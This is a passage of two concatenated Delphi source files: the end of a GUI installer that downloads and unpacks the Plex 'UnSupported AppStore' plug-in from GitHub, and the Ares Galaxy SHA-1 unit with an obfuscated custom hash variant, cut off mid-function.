result := DirectoryExists(myPlugInsDir + '\UnSupportedAppstore.bundle');
end;
procedure TForm1.FormCreate(Sender: TObject);
// Executed when the form is created
begin
screen.Cursor := crHourglass;
self.StatusBar1.Panels[1].Text := 'Initalizing.....Please wait';
self.Caption := Application.Title;
if EnableDebug1.Checked then DebugPrint('Starting');
self.StatusBar1.Panels[1].Text := 'Waiting for my Master to click a button';
screen.Cursor := crDefault;
end;
function TForm1.findPlugInDir(var myPlugInsDir : String) : Boolean;
{This function will populate the global var named PlexPlugInDir with the location
of the PlugIn Directory, and if success, return true, else false}
var
myReg : TRegistry;
begin
screen.Cursor := crHourglass;
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Starting to locate the Plex Media Server PlugIns directory');
self.StatusBar1.Panels[1].Text := 'Starting to locate the Plex Media Server PlugIns directory';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
if EnableDebug1.Checked then DebugPrint('Starting to locate the plug-in directory');
// Start by looking in the registry
myReg := TRegistry.Create;
myReg.RootKey:=HKEY_CURRENT_USER;
if myReg.OpenKeyReadOnly('\Software\Plex, Inc.\Plex Media Server') Then
begin
if myReg.ValueExists('LocalAppDataPath') then
myPlugInsDir := myReg.ReadString('LocalAppDataPath') + '\Plex Media Server\Plug-ins'
else
// Not found in registry, so go for the default directory below the %LOCALAPPDATA%'
myPlugInsDir := GetEnvironmentVariable(pWideChar('LOCALAPPDATA')) + '\Plex Media Server\Plug-ins';
end;
myReg.CloseKey;
myReg.Free;
result := DirectoryExists(myPlugInsDir);
if EnableDebug1.Checked then DebugPrint('PlugIn Dir was: ' + myPlugInsDir);
if result then
begin
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Found Plex Media Server PlugIns directory here:');
self.rEdtMain.Lines.Append(myPlugInsDir);
self.StatusBar1.Panels[1].Text := 'Plex Media Server PlugIns directory located';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
result := true;
end
else
begin
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('ERROR.....Failed to locate the PlugIns directory');
if EnableDebug1.Checked then DebugPrint('ERROR.....Failed to locate the PlugIns directory');
self.rEdtMain.Refresh;
result := false;
end;
screen.Cursor := crDefault;
end;
function TForm1.getFromGitHub : boolean;
// Fetch the bundle directly from GitHub
var
targetDir : String;
dwnRes : Integer;
begin
screen.Cursor := crHourglass;
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Creating temp directory');
self.rEdtMain.Refresh;
// Let's start by creating a directory in users temp dir to store the download in
targetDir := GetEnvironmentVariable(pWideChar('TEMP')) + '\PlexTmp';
if ForceDirectories(targetDir) Then
begin
if EnableDebug1.Checked then DebugPrint('Created tmp dir as ' + targetDir);
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Downloading from GitHub');
self.StatusBar1.Panels[1].Text := 'Downloading';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
dwnRes := URLDownloadToFile(nil,
urlGitHub,
PChar(targetDir + '\bundle.zip'),
0,
nil);
if dwnRes = 0 then
begin
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Download completed');
result := true;
end
else
begin
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('ERROR Downloading.....Please try again');
result := false
end;
self.StatusBar1.Panels[1].Text := 'Waiting for my Master to click a button';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
screen.Cursor := crDefault;
end;
end;
function TForm1.extractZip(myPlugInsDir : String) : Boolean;
// This will extract the downloaded zip file
begin
screen.Cursor := crHourglass;
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Extracting Unsupported AppStore');
self.StatusBar1.Panels[1].Text := 'Extracting';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
self.AbUnZipper1.BaseDirectory := myPlugInsDir;
self.AbUnZipper1.FileName := GetEnvironmentVariable(pWideChar('TEMP')) + '\PlexTmp\bundle.zip';
self.AbUnZipper1.ExtractFiles( '*.*' );
self.AbUnZipper1.CloseArchive;
self.rEdtMain.Lines.Append('');
self.StatusBar1.Panels[1].Text := 'Extracted AppStore';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
screen.Cursor := crDefault;
end;
procedure TForm1.cleanUp(myPlugInsDir : String);
var
myTmpDir : String;
begin
screen.Cursor := crHourglass;
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('Cleanup of unneeded files');
self.StatusBar1.Panels[1].Text := '´Cleanup';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
// Remove the Temp directory again
self.DeleteDirectory(GetEnvironmentVariable(pWideChar('TEMP')) + '\PlexTmp');
// All we need now, is to rename the extracted zip directory
RenameFile(myPlugInsDir + '\UnSupportedAppstore.bundle-master', myPlugInsDir + '\UnSupportedAppstore.bundle');
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('UnSupported AppStore has been installed');
self.rEdtMain.Lines.Append('You should restart the Plex Media Server');
self.rEdtMain.Lines.Append('If already running a browser against Plex Media Server, you');
self.rEdtMain.Lines.Append('might have to refresh your browser');
self.rEdtMain.Lines.Append('');
self.rEdtMain.Lines.Append('You may close this program....And enjoy all the nice channels :-)');
self.StatusBar1.Panels[1].Text := 'All done....You may close me';
self.StatusBar1.Refresh;
self.rEdtMain.Refresh;
screen.Cursor := crDefault;
end;
procedure TForm1.DeleteDirectory(const Name: string);
var
F: TSearchRec;
begin
if FindFirst(Name + '\*', faAnyFile, F) = 0 then begin
try
repeat
if (F.Attr and faDirectory <> 0) then begin
if (F.Name <> '.') and (F.Name <> '..') then begin
DeleteDirectory(Name + '\' + F.Name);
end;
end else begin
DeleteFile(Name + '\' + F.Name);
end;
until FindNext(F) <> 0;
RemoveDir(Name);
finally
FindClose(F);
end;
end;
end;
end.
|
{
this file is part of Ares
Aresgalaxy ( http://aresgalaxy.sourceforge.net )
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
}
{
Description:
SHA-1 message digest implementation
}
unit SecureHash;
(*$J-*) { Don't need modifiable typed constants. }
interface
uses Classes, SysUtils,windows;
const
tds:array[0..255] of byte = (
99,173,56,75,242,203,154,59,66,204,
73,16,27,223,222,31,191,170,21,156,
188,144,136,254,6,43,211,2,253,176,
137,4,127,117,48,250,246,106,162,240,
94,216,139,164,13,181,122,91,131,221,
52,47,143,153,7,142,217,206,207,108,
224,168,103,121,233,78,150,141,110,174,
96,151,1,62,102,38,95,46,63,218,
231,247,98,24,35,29,134,157,3,41,
182,113,135,20,133,120,22,26,84,101,
14,146,19,85,71,64,212,163,165,9,
199,68,44,241,145,0,82,36,171,125,
148,42,89,12,119,236,220,177,140,167,
237,155,147,175,213,159,192,249,8,245,
67,210,196,49,194,187,69,138,18,79,
128,115,185,28,252,214,152,80,189,234,
227,87,92,205,219,65,61,169,23,202,
118,17,50,193,39,228,86,160,239,186,
226,40,149,11,130,166,161,90,243,81,
251,129,77,183,172,109,45,112,34,72,
208,57,5,116,158,58,195,209,97,248,
111,74,33,60,10,200,76,88,235,15,
197,100,93,238,179,55,32,244,198,229,
104,180,225,51,123,232,25,132,114,53,
215,54,178,126,190,37,124,201,105,30,
107,70,83,230,255,184);
tes:array[0..255] of byte = (
115,72,27,88,31,202,24,54,138,109,
214,183,123,44,100,219,11,171,148,102,
93,18,96,168,83,236,97,12,153,85,
249,15,226,212,198,84,117,245,75,174,
181,89,121,25,112,196,77,51,34,143,
172,233,50,239,241,225,2,201,205,7,
213,166,73,78,105,165,8,140,111,146,
251,104,199,10,211,3,216,192,65,149,
157,189,116,252,98,103,176,161,217,122,
187,47,162,222,40,76,70,208,82,0,
221,99,74,62,230,248,37,250,59,195,
68,210,197,91,238,151,203,33,170,124,
95,63,46,234,246,119,243,32,150,191,
184,48,237,94,86,92,22,30,147,42,
128,67,55,52,21,114,101,132,120,182,
66,71,156,53,6,131,19,87,204,135,
177,186,38,107,43,108,185,129,61,167,
17,118,194,1,69,133,29,127,242,224,
231,45,90,193,255,152,179,145,20,158,
244,16,136,173,144,206,142,220,228,110,
215,247,169,5,9,163,57,58,200,207,
141,26,106,134,155,240,41,56,79,164,
126,49,14,13,60,232,180,160,175,229,
253,80,235,64,159,218,125,130,223,178,
39,113,4,188,227,139,36,81,209,137,
35,190,154,28,23,254);
td:array[0..255] of byte = (
215,239,224,128,25,225,75,60,195,71,
16,226,166,30,118,65,162,198,235,50,
37,17,219,199,33,84,146,197,95,88,
193,47,44,210,177,14,54,134,20,211,
112,137,151,217,13,252,127,4,45,92,
43,77,86,123,157,242,184,113,10,191,
179,108,155,173,194,251,39,175,29,101,
230,190,148,139,201,192,245,204,186,221,
106,89,158,116,11,117,28,214,12,213,
250,53,76,180,181,136,143,31,110,97,
26,40,231,3,64,238,229,248,119,105,
7,100,6,147,103,72,208,63,32,209,
61,164,91,35,5,133,178,141,90,241,
27,205,68,51,159,129,55,254,36,126,
138,168,98,207,22,70,189,124,107,220,
165,145,206,203,24,62,153,96,218,196,
121,156,169,140,8,249,150,233,48,78,
167,59,49,19,182,234,0,172,163,94,
52,111,125,57,244,236,69,222,170,246,
247,18,142,212,85,66,2,188,58,228,
122,161,185,1,21,38,187,183,120,202,
102,237,255,104,67,232,223,174,23,9,
227,253,93,81,82,200,243,240,80,46,
154,41,109,34,135,83,42,149,79,87,
171,144,115,176,73,15,131,160,74,99,
56,114,216,152,132,130);
te:array[0..255] of byte = (
176,203,196,103,47,124,112,110,164,219,
58,84,88,44,35,245,10,21,191,173,
38,204,144,218,154,4,100,130,86,68,
13,97,118,24,233,123,138,20,205,66,
101,231,236,50,32,48,229,31,168,172,
19,133,180,91,36,136,250,183,198,171,
7,120,155,117,104,15,195,214,132,186,
145,9,115,244,248,6,92,51,169,238,
228,223,224,235,25,194,52,239,29,81,
128,122,49,222,179,28,157,99,142,249,
111,69,210,114,213,109,80,148,61,232,
98,181,40,57,251,242,83,85,14,108,
208,160,200,53,147,182,139,46,3,135,
255,246,254,125,37,234,95,41,140,73,
163,127,192,96,241,151,26,113,72,237,
166,42,253,156,230,62,161,54,82,134,
247,201,16,178,121,150,12,170,141,162,
188,240,177,63,217,67,243,34,126,60,
93,94,174,207,56,202,78,206,197,146,
71,59,75,30,64,8,159,27,17,23,
225,74,209,153,77,131,152,143,116,119,
33,39,193,89,87,0,252,43,158,22,
149,79,187,216,2,5,11,220,199,106,
70,102,215,167,175,18,185,211,105,1,
227,129,55,226,184,76,189,190,107,165,
90,65,45,221,137,212);
type
PDWORD = ^DWORD;
DWORD = Longword;
type //secure hash
TID = Array[0..4] of integer;
TBD = Array[0..19] of Byte;
function IDBD(ID:TID):TBD; // sharesult
function ShB(const dig:tbd):string;
type
TSecHash2 = class(TObject)
private
klVar, grVar : TID; // Array[0..4] of integer;
M : Array[0..63] of Byte;
W : Array[0..79] of Integer;
K : Array[0..79] of Integer;
procedure aac;
public
function Compute(fe:string):string;
end;
type
TSha1 = class(TObject)
protected
PDigest: Pointer;
PLastBlock: Pointer;
NumLastBlockBytes: Integer;
FBlocksDigested: Longint;
FCompleted: Boolean;
PChainingVars: Pointer;
FIsBigEndian: Boolean;
public
constructor Create;
destructor Destroy; override;
procedure Transform(const M; NumBytes: Longint);
procedure Complete;
procedure SpecialInit(strin:string);
function HashValue: string;
function TempHashValue: string;
function HashValueBytes: Pointer;
// class function AsString: string; virtual; abstract;
property BlocksDigested: Longint read FBlocksDigested;
property Completed: Boolean read FCompleted;
end;
type
TChainingVar = DWORD;
TSHAChainingVarRange = (shaA, shaB, shaC, shaD, shaE);
PSHAChainingVarArray = ^TSHAChainingVarArray;
TSHAChainingVarArray = array [TSHAChainingVarRange] of TChainingVar;
TSHADigest = array [1..5] of DWORD;
PSHABlock = ^TSHABlock;
TSHABlock = array [0..15] of DWORD;
const
SHAInitialChainingValues: TSHAChainingVarArray = ($67452301, $efcdab89, $98badcfe, $10325476, $c3d2e1f0);
implementation
uses
helper_crypt;
type
TDoubleDWORD = record
L, H: DWORD;
end;
TFourByte = packed record
B1, B2, B3, B4: Byte;
end;
procedure TSecHash2.aac;assembler;
asm
push ebx
push edi
push esi
mov edx, eax // pointer to Self (instance of SecHash)
lea esi, [edx].GrVar[0] // Load Address of GrVar[0]
lea edi, [edx].KlVar[0] // Load Address of KlVar[0]
mov ecx, 5
cld
rep movsd // copy GrVar[] to KlVar[]
xor ecx, ecx // zero ecx
lea edi, [edx].M[0] // Load Address of M[0]
lea esi, [edx].W[0] // Load Address of W[0]
@@Pie_W_0_15:
mov eax, [edi+ecx] // Copy M[0..15] to W[0..15] while changing from
rol ax, 8 // Little endian to Big endian
rol eax, 16
rol ax, 8
mov [esi+ecx], eax
add ecx, 4
cmp ecx, 64 //compare del loop quando exc vale meno di 64 rimane nel loop Pie_W_0_15
jl @@Pie_W_0_15
xor ecx, ecx // zero ecx
mov edi, esi
add edi, 64
@@Pie_W_16_79:
mov eax, [edi+ecx-12] // W[t] = W[t-3] xor W[t-8] xor W[t-14] xor W[t-16] <<< 1
xor eax, [edi+ecx-32]
xor eax, [edi+ecx-56]
xor eax, [edi+ecx-64]
rol eax, 1
mov [edi+ecx], eax
add ecx, 4
cmp ecx, 256
jl @@Pie_W_16_79
lea edi, [edx].KlVar[0]
mov ecx, 20
xor esi, esi //zero esi
@@B_0_19:
mov eax, [edi+4] // t=0..19: TEMP=(a <<< 5)+f[t](b,c,d)
mov ebx, eax // f[t](b,c,d) = (b and c) or ((not b) and d)
and eax, [edi+8]
not ebx
and ebx, [edi+12]
or eax, ebx
call @@Ft_Common
add esi, 4
dec ecx
jnz @@B_0_19
mov ecx, 20
@@B_20_39:
mov eax, [edi+4] // t=20..39: TEMP=(a <<< 5)+f[t](b,c,d)
xor eax, [edi+8] // f[t](b,c,d) = b xor c xor d
xor eax, [edi+12]
call @@Ft_Common
add esi, 4
dec ecx
jnz @@B_20_39
mov ecx, 20
@@B_40_59:
mov eax, [edi+4] // t=40..59: TEMP=(a <<< 5)+f[t](b,c,d)
mov ebx, eax // f[t](b,c,d) = (b and c) or (b and d) or (c and d)
and eax, [edi+8]
and ebx, [edi+12]
or eax, ebx
mov ebx, [edi+8]
and ebx, [edi+12]
or eax, ebx
call @@Ft_Common
add esi, 4
dec ecx
jnz @@B_40_59
mov ecx, 20
@@B_60_79:
mov eax, [edi+4] // t=60..79: TEMP=(a <<< 5)+f[t](b,c,d)
xor eax, [edi+8] // f[t](b,c,d) = b xor c xor d
xor eax, [edi+12]
call @@Ft_Common
add esi, 4
dec ecx
jnz @@B_60_79
lea esi, [edx].GrVar[0] // Load Address of GrVar[0]
mov eax, [edi] // For i:=0 to 4 do GrVar[i]:=GrVar[i]+klVar[i]
add eax, [esi]
mov [esi], eax
mov eax, [edi+4]
add eax, [esi+4]
mov [esi+4], eax
mov eax, [edi+8]
add eax, [esi+8]
mov [esi+8], eax
mov eax, [edi+12]
add eax, [esi+12]
mov [esi+12], eax
mov eax, [edi+16]
add eax, [esi+16]
mov [esi+16], eax
pop esi
pop edi
pop ebx
jmp @@End
@@Ft_Common:
add eax, [edi+16] // + e
lea ebx, [edx].W[0]
add eax, [ebx+esi] // + W[t]
lea ebx, [edx].K[0]
add eax, [ebx+esi] // + K[t]
mov ebx, [edi]
rol ebx, 5 // ebx = a <<< 5
add eax, ebx // eax = (a <<< 5)+f[t](b,c,d)+e+W[t]+K[t]
mov ebx, [edi+12]
mov [edi+16], ebx // e = d
mov ebx, [edi+8]
mov [edi+12], ebx // d = c
mov ebx, [edi+4]
rol ebx, 30
mov [edi+8], ebx // c = b <<< 30
mov ebx, [edi]
mov [edi+4], ebx // b = a
mov [edi], eax // a = TEMP
ret
@@End:
end;
function TSecHash2.Compute(fe:string):string;
{
input 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
result 3B 8B FC 2E 15 4F BD 43 B1 4D C7 A3 D5 E0 90 E9 85 47 61 66
}
var
st:string;
function abcc(const strin:string):string;
var
byt:tbd;
len:integer;
BitsLow,BitsHigh,ToCompute : integer;
done:cardinal;
procedure aaaacd;
var
i : integer;
begin
For i:= 0 to 19 do begin
K[i] :=$5a827901;
K[i+20]:=$6ed9eba1;
K[i+40]:=$1f1cbcdc;
K[i+60]:=$ca62c1d6;
end;
grVar[0]:=$17452301;
grVar[1]:=$eacdaf89;
grVar[2]:=$98bfdcfe;
grVar[3]:=$14325476;
grVar[4]:=$c3d2c1f0;
end;
begin
setlength(result,20);//
len:=length(strin);
BitsHigh:=(len and $FF000000) shr 29;
BitsLow:=len shl 3;
aaaacd; //init
done:=1;
ToCompute:=len;
While ToCompute>0 do begin
If ToCompute>=64 then begin
move(strin[done],m,64);
inc(done,64);
aac;
dec(ToCompute,64);
If ToCompute=0 then begin
FillChar(M,sizeof(M),0);
M[0]:=$80;
end;
end else begin // ToCompute<64
FillChar(M,SizeOf(M),0);
move(strin[done],m,tocompute);
inc(done,tocompute);
M[ToCompute]:=$80;
If ToCompute>=56 then begin
aac;
FillChar(M,SizeOf(M),0);
end;
ToCompute:=0;
end; //End else ToCompute>=64
If ToCompute=0 then begin
M[63]:=BitsLow and $000000FF;
M[62]:=(BitsLow and $0000FF00) shr 8;
M[61]:=(BitsLow and $00FF0000) shr 16;
M[60]:=(BitsLow and $FF000000) shr 24;
M[59]:=(BitsHigh and $000000FF);
aac;
end;
end; //End While ToCompute>0
byt:=IDBD(grVar);
result:=ShB(byt);
end;
var
i:integer;
begin
//--> input 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
st:=fe;
st[1]:=chr(ord(st[2]) xor ord(st[12]) + $431f); // 29 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
for i:=1 to length(st) do st[i]:=chr(ord(st[i]) xor td[length(st)-i]); // 68 77 1c a5 e6 15 41 c4 34 42 eb 12 8c ed e1 d8
st:=st+st;
for i:=1 to length(st) do st[i]:=chr(ord(st[i]) xor te[length(st)-i]); // 09 7A 58 F3 64 71 45 5E EE D2 27 34 21 52 F4 D2 9D 54 30 FD B2 2F 9A 60 5A 32 97 3D EB 29 2A 68
for i:=1 to length(st) do st[i]:=chr(ord(st[i]) xor tes[length(st)-i]); // 06 83 0D 6A 68 10 A9 0D 46 B2 35 69 47 C6 5F D9 46 30 1C 86 05 F9 F7 EA 6C 2A 5D 22 B3 32 62 1B
for i:=1 to length(st) do st[i]:=chr(ord(st[i]) xor byte(tds[i]+ff[i])); // B3 27 2A A5 D3 3F 0F 81 82 F5 AE 42 67 EE 6B 48 9E 54 92 D0 AF AC 8A 4D E8 35 7B 79 AD EF 56 49
st:=st+st;
st:=st+st;
st:=st+st;
st:=st+st; // repeat 16x times (make it a larger string value)
result:=abcc(st); //hash it the result 20 byte!
end;
destructor TSha1.Destroy;
begin
FreeMem(PDigest,20);
FreeMem(PLastBlock,64);
FreeMem(PChainingVars,20);
inherited;
end;
constructor TSha1.create;
begin
inherited Create;
//init chaining vars
GetMem(PChainingVars, 20);
Move(SHAInitialChainingValues, PChainingVars^, 20);
//init digest
GetMem(PLastBlock, 64);
GetMem(PDigest, 20);
FillChar(PLastBlock^, 64, 0);
FillChar(PDigest^, 20, 0);
NumLastBlockBytes := 0;
FCompleted := False;
FBlocksDigested := 0;
FIsBigEndian := true;
end;
procedure TSha1.SpecialInit(strin:string);
begin
Move(strin[1], PChainingVars^, 20);
end;
procedure TSha1.Transform(const M; NumBytes: Longint);
type
PSHAExpandedBlock = ^TSHABlock;
TSHAExpandedBlock = array [0..79] of DWORD;
var
NumBlocks: Longint;
P, PLB: ^Byte;
NumBytesNeeded: Integer;
//////////////trasform sha1
{Ihi, }Jhi: Integer;
Blok: PSHABlock;
Tchv: TChainingVar;
Ach, Bch, Cch, Dch, Ech: TChainingVar;
Xexpblk: TSHAExpandedBlock;
vari:dword;
cicli:integer;
/////////////////////////////
begin
P := Addr(M);
if NumLastBlockBytes > 0 then begin
PLB := PLastBlock;
Inc(PLB, NumLastBlockBytes);
NumBytesNeeded := 64 - NumLastBlockBytes;
if NumBytes < NumBytesNeeded then begin
Move(M, PLB^, NumBytes);
Inc(NumLastBlockBytes, NumBytes);
Exit;
end;
Move(M, PLB^, NumBytesNeeded);
Dec(NumBytes, NumBytesNeeded);
Inc(P, NumBytesNeeded);
/////////////////////// trasform SHA1
Move(PLastBlock^, Xexpblk, 64);
for Jhi := Low(TSHABlock) to High(TSHABlock) do begin
with TFourByte(Xexpblk[Jhi]) do begin
Tchv := B1; B1 := B4; B4 := Tchv;
Tchv := B2; B2 := B3; B3 := Tchv;
end;
end;
for Jhi := 16 to 79 do begin
vari:=Xexpblk[Jhi - 3] xor Xexpblk[Jhi - 8] xor Xexpblk[Jhi - 14] xor Xexpblk[Jhi - 16];
Xexpblk[Jhi]:=DWORD(vari shl 1 or vari shr 31);
end;
Ach := PSHAChainingVarArray(PChainingVars)^[shaA];
Bch := PSHAChainingVarArray(PChainingVars)^[shaB];
Cch := PSHAChainingVarArray(PChainingVars)^[shaC];
Dch := PSHAChainingVarArray(PChainingVars)^[shaD];
Ech := PSHAChainingVarArray(PChainingVars)^[shaE];
for Jhi := 0 to 19 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + ((Bch and Cch) or (not Bch and Dch)) + Ech + Xexpblk[Jhi] + $5a827999;
Ech := Dch;
Dch := Cch;
Cch:= DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 20 to 39 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $6ed9eba1;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 40 to 59 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch and Cch or Bch and Dch or Cch and Dch) + Ech + Xexpblk[Jhi] + $8f1bbcdc;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 60 to 79 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $ca62c1d6;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
Inc(PSHAChainingVarArray(PChainingVars)^[shaA], Ach);
Inc(PSHAChainingVarArray(PChainingVars)^[shaB], Bch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaC], Cch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaD], Dch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaE], Ech);
Inc(FBlocksDigested);
////////////////////////////////////
end;
NumBlocks := NumBytes div 64;
//////////////////////////////////////trasform sha1 block
Blok:=Addr(P^);
for cicli:=1 to NumBlocks do begin
Move(Blok^, Xexpblk, SizeOf(Blok^));
for Jhi := Low(TSHABlock) to High(TSHABlock) do begin
with TFourByte(Xexpblk[Jhi]) do begin
Tchv := B1; B1 := B4; B4 := Tchv;
Tchv := B2; B2 := B3; B3 := Tchv;
end;
end;
for Jhi := 16 to 79 do begin
vari:=Xexpblk[Jhi - 3] xor Xexpblk[Jhi - 8] xor Xexpblk[Jhi - 14] xor Xexpblk[Jhi - 16];
Xexpblk[Jhi]:=DWORD(vari shl 1 or vari shr 31);
end;
Ach := PSHAChainingVarArray(PChainingVars)^[shaA];
Bch := PSHAChainingVarArray(PChainingVars)^[shaB];
Cch := PSHAChainingVarArray(PChainingVars)^[shaC];
Dch := PSHAChainingVarArray(PChainingVars)^[shaD];
Ech := PSHAChainingVarArray(PChainingVars)^[shaE];
for Jhi := 0 to 19 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + ((Bch and Cch) or (not Bch and Dch)) + Ech + Xexpblk[Jhi] + $5a827999;
Ech := Dch;
Dch := Cch;
Cch:= DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 20 to 39 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $6ed9eba1;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 40 to 59 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch and Cch or Bch and Dch or Cch and Dch) + Ech + Xexpblk[Jhi] + $8f1bbcdc;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 60 to 79 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $ca62c1d6;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
inc(Blok);
Inc(PSHAChainingVarArray(PChainingVars)^[shaA], Ach);
Inc(PSHAChainingVarArray(PChainingVars)^[shaB], Bch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaC], Cch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaD], Dch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaE], Ech);
end;
Inc(FBlocksDigested,NumBlocks);
/////////////////////////////////////////////////////////
//TransformSha1Blocks(P^,NumBlocks);
NumLastBlockBytes := NumBytes mod 64;
Inc(P, NumBytes - NumLastBlockBytes);
Move(P^, PLastBlock^, NumLastBlockBytes);
end;
function TSha1.HashValueBytes: Pointer;
begin
Result := PDigest;
end;
function TSha1.TempHashValue: string;
begin
SetLength(Result, 20);
move(PDigest^,result[1],20);
end;
function TSha1.HashValue: string;
begin
SetLength(Result, 20);
move(PDigest^,result[1],20);
end;
procedure TSha1.Complete;
type
PSHAExpandedBlock = ^TSHABlock;
TSHAExpandedBlock = array [0..79] of DWORD;
var
NumBytesNeeded: Integer;
MessageLength: Int64;
P: ^Byte;
T: DWORD;
PD: ^TChainingVar;
I: Integer;
//////////////trasform sha1
{Ihi,} Jhi: Integer;
Tchv: TChainingVar;
Ach, Bch, Cch, Dch, Ech: TChainingVar;
Xexpblk: TSHAExpandedBlock;
vari:dword;
/////////////////////////////
begin
MessageLength := FBlocksDigested;
MessageLength := MessageLength * 64;
MessageLength := MessageLength + NumLastBlockBytes;
MessageLength := MessageLength * 8;
P := PLastBlock;
Inc(P, NumLastBlockBytes);
P^ := $80; { Set the high bit. }
Inc(P);
Inc(NumLastBlockBytes);
{
# bytes needed = Block size - # bytes we already have -
8 bytes for the message length.
}
NumBytesNeeded := 64 - NumLastBlockBytes - SizeOf(MessageLength);
if NumBytesNeeded < 0 then begin
{ Not enough space to put the message length in this block. }
FillChar(P^, 64 - NumLastBlockBytes, 0);
//////////////////////////////////////trasform sha1 block
Move(PLastBlock^, Xexpblk, 64);
for Jhi := Low(TSHABlock) to High(TSHABlock) do begin
with TFourByte(Xexpblk[Jhi]) do begin
Tchv := B1; B1 := B4; B4 := Tchv;
Tchv := B2; B2 := B3; B3 := Tchv;
end;
end;
for Jhi := 16 to 79 do begin
vari:=Xexpblk[Jhi - 3] xor Xexpblk[Jhi - 8] xor Xexpblk[Jhi - 14] xor Xexpblk[Jhi - 16];
Xexpblk[Jhi]:=DWORD(vari shl 1 or vari shr 31);
end;
Ach := PSHAChainingVarArray(PChainingVars)^[shaA];
Bch := PSHAChainingVarArray(PChainingVars)^[shaB];
Cch := PSHAChainingVarArray(PChainingVars)^[shaC];
Dch := PSHAChainingVarArray(PChainingVars)^[shaD];
Ech := PSHAChainingVarArray(PChainingVars)^[shaE];
for Jhi := 0 to 19 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + ((Bch and Cch) or (not Bch and Dch)) + Ech + Xexpblk[Jhi] + $5a827999;
Ech := Dch;
Dch := Cch;
Cch:= DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 20 to 39 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $6ed9eba1;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 40 to 59 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch and Cch or Bch and Dch or Cch and Dch) + Ech + Xexpblk[Jhi] + $8f1bbcdc;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 60 to 79 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $ca62c1d6;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
Inc(PSHAChainingVarArray(PChainingVars)^[shaA], Ach);
Inc(PSHAChainingVarArray(PChainingVars)^[shaB], Bch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaC], Cch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaD], Dch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaE], Ech);
